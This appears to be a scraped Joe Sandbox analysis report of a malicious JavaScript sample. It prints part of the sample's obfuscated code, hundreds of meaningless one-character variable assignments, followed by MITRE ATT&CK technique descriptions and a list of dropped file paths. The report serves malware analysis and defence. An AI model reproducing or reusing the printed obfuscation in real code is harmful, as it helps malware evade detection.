1072	rmxslzy = "e";
1073	rmxslzy = "z";
1074	rmxslzy = "V";
1075	rmxslzy = "L";
1076	rmxslzy = "S";
1077	rmxslzy = "y";
1078	rmxslzy = "K";
1079	rmxslzy = " ";
1080	vvtvdbnjh = "z";
1081	vvtvdbnjh = "v";
1082	vvtvdbnjh = "c";
1083	vvtvdbnjh = "Q";
1084	vvtvdbnjh = "U";
1085	vvtvdbnjh = "S";
1086	vvtvdbnjh = "D";
1087	vvtvdbnjh = "l";
1088	vvtvdbnjh = "m";
1089	vvtvdbnjh = "t";
1090	vvtvdbnjh = "D";
1091	vvtvdbnjh = "j";
1092	vvtvdbnjh = "a";
1093	vvtvdbnjh = "U";
1094	vvtvdbnjh = "h";
1095	vvtvdbnjh = "x";
1096	vvtvdbnjh = "R";
1097	vvtvdbnjh = "X";
1098	vvtvdbnjh = "D";
1099	vvtvdbnjh = "Y";
1100	vvtvdbnjh = "j";
1101	jcuwi = "j";
1102	jcuwi = "R";
1103	jcuwi = "D";
1104	jcuwi = "J";
1105	jcuwi = "i";
1106	jcuwi = "o";
1107	jcuwi = "u";
1108	jcuwi = "e";
1109	jcuwi = "L";
1110	jcuwi = "L";
1111	jcuwi = "k";
1112	jcuwi = "p";
1113	jcuwi = "P";
1114	jcuwi = "U";
1115	jcuwi = "h";
1116	jcuwi = "r";
1117	jcuwi = "w";
1118	jcuwi = "F";
1119	jcuwi = "z";
1120	jcuwi = "N";
1121	jcuwi = "m";
1122	jcuwi = "8";
1123	wazjkhiw = "V";
1124	wazjkhiw = "n";
1125	wazjkhiw = "S";
1126	wazjkhiw = "Y";
1127	wazjkhiw = "w";
1128	wazjkhiw = "c";
1129	wazjkhiw = "s";
1130	wazjkhiw = "E";
1131	wazjkhiw = "K";
1132	wazjkhiw = "w";
1133	wazjkhiw = "u";
1134	wazjkhiw = "d";
1135	wazjkhiw = "X";
1136	wazjkhiw = "y";
1137	wazjkhiw = "v";
1138	wazjkhiw = "f";
1139	wazjkhiw = "Z";
1140	wazjkhiw = "M";
1141	wazjkhiw = "w";
1142	wazjkhiw = "G";
1143	wazjkhiw = "c";
1144	wazjkhiw = "y";
1145	wazjkhiw = "t";
1146	wazjkhiw = "z";
1147	wazjkhiw = "A";
1148	wazjkhiw = "G";
1149	wazjkhiw = "f";
1150	wazjkhiw = "k";
1151	wazjkhiw = "y";
1152	wazjkhiw = "A";
1153	wazjkhiw = "v";
1154	wazjkhiw = "K";
1155	wazjkhiw = "i";
1156	wazjkhiw = "r";
1157	wazjkhiw = "j";
1158	wazjkhiw = "h";
1159	msnvf = "m";
1160	msnvf = "f";
1161	msnvf = "V";
1162	msnvf = "J";
1163	msnvf = "j";
1164	msnvf = "w";
1165	msnvf = "I";
1166	msnvf = "a";
1167	msnvf = "B";
1168	msnvf = "v";
1169	msnvf = "P";
1170	msnvf = "y";
1171	msnvf = "G";
1172	msnvf = "V";
1173	msnvf = "C";
1174	msnvf = "J";
1175	msnvf = "f";
1176	msnvf = "t";
1177	msnvf = "r";
1178	msnvf = "r";
1179	msnvf = "k";
1180	msnvf = "D";
1181	msnvf = "E";
1182	msnvf = "T";
1183	msnvf = "Z";
1184	msnvf = "h";
1185	msnvf = "K";
1186	msnvf = "F";
1187	msnvf = "V";
1188	msnvf = "C";
1189	msnvf = "T";
1190	msnvf = "1";
1191	bjckafir = "d";
1192	bjckafir = "K";
1193	bjckafir = "D";
1194	bjckafir = "R";
1195	bjckafir = "b";
1196	bjckafir = "W";
1197	bjckafir = "F";
1198	bjckafir = "e";
1199	bjckafir = "V";
1200	bjckafir = "s";
1201	bjckafir = "F";
1202	bjckafir = "T";
1203	bjckafir = "A";
1204	bjckafir = "Y";
1205	bjckafir = "F";
1206	bjckafir = "z";
1207	bjckafir = "I";
1208	bjckafir = "k";
1209	bjckafir = "K";
1210	bjckafir = "x";
1211	bjckafir = "d";
1212	bjckafir = "n";
1213	bjckafir = "k";
1214	bjckafir = "a";
1215	bjckafir = "R";
1216	bjckafir = "L";
1217	bjckafir = "T";
1218	bjckafir = "g";
1219	bjckafir = "A";
1220	bjckafir = "Q";
1221	bjckafir = "z";
1222	bjckafir = "u";
1223	bjckafir = "D";
1224	bjckafir = "C";
1225	bjckafir = "z";
1226	bjckafir = "b";
1227	bjckafir = "E";
1228	bjckafir = "n";
1229	bjckafir = "N";
1230	mhwzapn = "U";
1231	mhwzapn = "f";
1232	mhwzapn = "K";
1233	mhwzapn = "h";
1234	mhwzapn = "m";
1235	mhwzapn = "H";
1236	mhwzapn = "Z";
1237	mhwzapn = "F";
1238	mhwzapn = "Q";
1239	mhwzapn = "k";
1240	mhwzapn = "B";
1241	mhwzapn = "p";
1242	mhwzapn = "m";
1243	mhwzapn = "f";
1244	mhwzapn = "F";
1245	mhwzapn = "Y";
1246	mhwzapn = "h";
1247	mhwzapn = "D";
1248	mhwzapn = "F";
1249	mhwzapn = "y";
1250	mhwzapn = "N";
1251	mhwzapn = "z";
1252	mhwzapn = "I";
1253	mhwzapn = "f";
1254	mhwzapn = "l";
1255	mhwzapn = "b";
1256	mhwzapn = "C";
1257	mhwzapn = "G";
1258	mhwzapn = "e";
1259	mhwzapn = "L";
1260	mhwzapn = "E";
1261	mhwzapn = "R";
1262	mhwzapn = "v";
1263	mhwzapn = "C";
1264	mhwzapn = "R";
1265	mhwzapn = "o";
1266	mhwzapn = "a";
1267	mhwzapn = "E";
1268	mhwzapn = "C";
1269	mhwzapn = "H";
1270	mhwzapn = "P";
1271	mhwzapn = "Y";
1272	mhwzapn = "e";
1273	mhwzapn = "_";
1274	sfujnzczx = "g";
1275	sfujnzczx = "G";
1276	sfujnzczx = "Z";
1277	sfujnzczx = "w";
1278	sfujnzczx = "r";
1279	sfujnzczx = "B";
1280	sfujnzczx = "C";
1281	sfujnzczx = "h";
1282	sfujnzczx = "E";
1283	sfujnzczx = "n";
1284	sfujnzczx = "L";
1285	sfujnzczx = "t";
1286	sfujnzczx = "R";
1287	sfujnzczx = "g";
1288	sfujnzczx = "q";
1289	sfujnzczx = "Z";
1290	sfujnzczx = "c";
1291	sfujnzczx = "v";
1292	sfujnzczx = "P";
1293	sfujnzczx = "Q";
1294	sfujnzczx = "u";
1295	yhjiyp = "v";
1296	yhjiyp = "L";
1297	yhjiyp = "L";
1298	yhjiyp = "6";
1299	xvixjr = "i";
1300	xvixjr = "X";
1301	xvixjr = "b";
1302	xvixjr = "y";
1303	xvixjr = "S";
1304	xvixjr = "w";
1305	xvixjr = "M";
1306	xvixjr = "c";
1307	xvixjr = "Q";
1308	xvixjr = "u";
1309	xvixjr = "u";
1310	xvixjr = "o";
1311	xvixjr = "N";
1312	xvixjr = "j";
1313	xvixjr = "G";
1314	xvixjr = "w";
1315	xvixjr = "v";
1316	xvixjr = "-";
1317	ukjodri = "M";
1318	ukjodri = "B";
1319	ukjodri = "A";
1320	ukjodri = "k";
1321	ukjodri = "N";
1322	ukjodri = "w";
1323	ukjodri = "o";
1324	ukjodri = "B";
1325	ukjodri = "n";
1326	ukjodri = "M";
1327	ukjodri = "x";
1328	ukjodri = "x";
1329	ukjodri = "I";
1330	ukjodri = "P";
1331	ukjodri = "C";
1332	ukjodri = "m";
1333	ukjodri = "u";
1334	ukjodri = "H";
1335	ukjodri = "B";
1336	ukjodri = "W";
1337	ukjodri = "G";
1338	ukjodri = "s";
1339	ukjodri = "r";
1340	ukjodri = "Q";
1341	ukjodri = "p";
1342	ukjodri = "I";
1343	ukjodri = "y";
1344	ukjodri = "t";
1345	ukjodri = "s";
1346	ukjodri = "u";
1347	ukjodri = "r";
1348	ukjodri = "a";
1349	ukjodri = "q";
1350	ukjodri = "I";
1351	ukjodri = "j";
1352	ukjodri = "Q";
1353	ukjodri = "P";
1354	ukjodri = "Z";
1355	ukjodri = "j";
1356	ukjodri = "2";
1357	jmxxwccdd = "F";
1358	jmxxwccdd = "g";
1359	jmxxwccdd = "m";
1360	jmxxwccdd = "T";
1361	jmxxwccdd = "y";
1362	jmxxwccdd = "p";
1363	jmxxwccdd = "l";
1364	jmxxwccdd = "a";
1365	jmxxwccdd = "p";
1366	jmxxwccdd = "k";
1367	jmxxwccdd = "H";
1368	jmxxwccdd = "u";
1369	jmxxwccdd = "V";
1370	jmxxwccdd = "I";
1371	jmxxwccdd = "v";
1372	jmxxwccdd = "E";
1373	jmxxwccdd = "f";
1374	jmxxwccdd = "G";
1375	jmxxwccdd = "M";
1376	jmxxwccdd = "v";
1377	jmxxwccdd = "E";
1378	jmxxwccdd = "t";
1379	jmxxwccdd = "t";
1380	jmxxwccdd = "q";
1381	jmxxwccdd = "F";
1382	jmxxwccdd = "n";
1383	jmxxwccdd = "B";
1384	jmxxwccdd = "x";
1385	jmxxwccdd = "4";
1386	ipjonox = "v";
1387	ipjonox = "b";
1388	ipjonox = "Y";
1389	ipjonox = "X";
1390	ipjonox = "G";
1391	ipjonox = "y";
1392	ipjonox = "X";
1393	ipjonox = "g";
1394	ipjonox = "r";
1395	ipjonox = "R";
1396	ipjonox = "J";
1397	ipjonox = "y";
1398	ipjonox = "E";
1399	ipjonox = "j";
1400	ipjonox = "A";
1401	ipjonox = "W";
1402	ipjonox = "H";
1403	ipjonox = "B";
1404	ipjonox = "t";
1405	ipjonox = "b";
1406	ipjonox = "p";
1407	ipjonox = "T";
1408	ipjonox = "Y";
1409	ipjonox = "D";
1410	ipjonox = "u";
1411	ipjonox = "m";
1412	ipjonox = "R";
1413	ipjonox = "H";
1414	ipjonox = "p";
1415	ipjonox = "t";
1416	ipjonox = "i";
1417	ipjonox = "a";
1418	ipjonox = "B";
1419	ipjonox = "Y";
1420	ipjonox = "m";
1421	ipjonox = "t";
1422	ipjonox = "F";
1423	ipjonox = "L";
1424	ipjonox = "y";
1425	ipjonox = "r";
1426	ipjonox = "l";
1427	mymnkacxw = "N";
1428	mymnkacxw = "d";
1429	mymnkacxw = "c";
1430	mymnkacxw = "E";
1431	mymnkacxw = "x";
1432	mymnkacxw = "b";
1433	mymnkacxw = "E";
1434	mymnkacxw = "N";
1435	mymnkacxw = "l";
1436	mymnkacxw = "w";
1437	mymnkacxw = "E";
1438	mymnkacxw = "f";
1439	mymnkacxw = "R";
1440	mymnkacxw = "b";
1441	mymnkacxw = "l";
1442	mymnkacxw = "F";
1443	mymnkacxw = "O";
1444	mymnkacxw = "d";
1445	mymnkacxw = "G";
1446	mymnkacxw = "C";
1447	mymnkacxw = "v";
1448	mymnkacxw = "w";
1449	mymnkacxw = "g";
1450	mymnkacxw = "R";
1451	mymnkacxw = "R";
1452	mymnkacxw = "E";
1453	mymnkacxw = "H";
1454	mymnkacxw = "S";
1455	mymnkacxw = "n";
1456	mymnkacxw = "A";
1457	mymnkacxw = "Z";
1458	mymnkacxw = "j";
1459	mymnkacxw = "p";
1460	mymnkacxw = "h";
1461	mymnkacxw = "n";
1462	mymnkacxw = "b";
1463	mymnkacxw = "o";
1464	mymnkacxw = "W";
1465	mymnkacxw = "%";
1466	kxlqwtk = "a";
1467	kxlqwtk = "Y";
1468	kxlqwtk = "u";
1469	kxlqwtk = "u";
1470	kxlqwtk = "z";
1471	kxlqwtk = "c";
1472	kxlqwtk = "W";
1473	kxlqwtk = "P";
1474	kxlqwtk = "v";
1475	kxlqwtk = "D";
1476	kxlqwtk = "U";
1477	kxlqwtk = "H";
1478	kxlqwtk = "H";
1479	kxlqwtk = "p";
1480	kxlqwtk = "t";
1481	kxlqwtk = "V";
1482	kxlqwtk = "n";
1483	kxlqwtk = "U";
1484	kxlqwtk = "V";
1485	kxlqwtk = "x";
1486	kxlqwtk = "b";
1487	kxlqwtk = "v";
1488	tcmhpckoc = "Q";
1489	tcmhpckoc = "t";
1490	tcmhpckoc = "R";
1491	tcmhpckoc = "C";
1492	lmdtxb = "o";
1493	lmdtxb = "u";
1494	lmdtxb = "K";
1495	lmdtxb = "x";
1496	lmdtxb = "Z";
1497	lmdtxb = "a";
1498	lmdtxb = "r";
1499	lmdtxb = "F";
1500	lmdtxb = "O";
1501	lmdtxb = "N";
1502	lmdtxb = "a";
1503	lmdtxb = "H";
1504	lmdtxb = "m";
1505	lmdtxb = "l";
1506	lmdtxb = "N";
1507	lmdtxb = "s";
1508	lmdtxb = "G";
1509	lmdtxb = "x";
1510	lmdtxb = "n";
1511	lmdtxb = "0";
1512	yxifsz = "O";
1513	yxifsz = "a";
1514	yxifsz = "t";
1515	yxifsz = "r";
1516	yxifsz = "r";
1517	yxifsz = "y";
1518	yxifsz = "g";
1519	yxifsz = "N";
1520	yxifsz = "e";
1521	yxifsz = "I";
1522	yxifsz = "c";
1523	yxifsz = "b";
1524	yxifsz = "X";
1525	yxifsz = "l";
1526	yxifsz = "c";
1527	yxifsz = "x";
1528	yxifsz = "o";
1529	yxifsz = "n";
1530	yxifsz = "t";
1531	yxifsz = "h";
1532	yxifsz = "A";
1533	yxifsz = "P";
1534	yxifsz = "I";
1535	yxifsz = "S";
1536	yxifsz = "Z";
1537	yxifsz = "s";
1538	yxifsz = "v";
1539	yxifsz = "f";
1540	yxifsz = "I";
1541	yxifsz = "C";
1542	yxifsz = "D";
1543	yxifsz = "a";
1544	yxifsz = "O";
1545	yxifsz = "d";
1546	yxifsz = "d";
1547	fmawic = "h";
1548	fmawic = "E";
1549	fmawic = "c";
1550	fmawic = "Z";
1551	fmawic = "T";
1552	fmawic = "k";
1553	fmawic = "P";
1554	fmawic = "h";
1555	fmawic = "n";
1556	fmawic = "y";
1557	fmawic = "f";
1558	fmawic = "y";
1559	fmawic = "G";
1560	fmawic = "B";
1561	fmawic = "I";
1562	fmawic = "s";
1563	fmawic = "W";
1564	fmawic = "L";
1565	fmawic = "f";
1566	fmawic = "M";
1567	fmawic = "o";
1568	fmawic = "Z";
1569	fmawic = "l";
1570	fmawic = "c";
1571	fmawic = "X";
1572	fmawic = "j";
1573	fmawic = "a";
1574	fmawic = "q";
1575	fmawic = "t";
1576	fmawic = "L";
1577	cjalnv ( );	cjalnv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1358019715229232264.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\71aa0ecb-949e-4965-aba6-063b610bb7be.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7876

Windows Analysis Report
1358019715229232264.js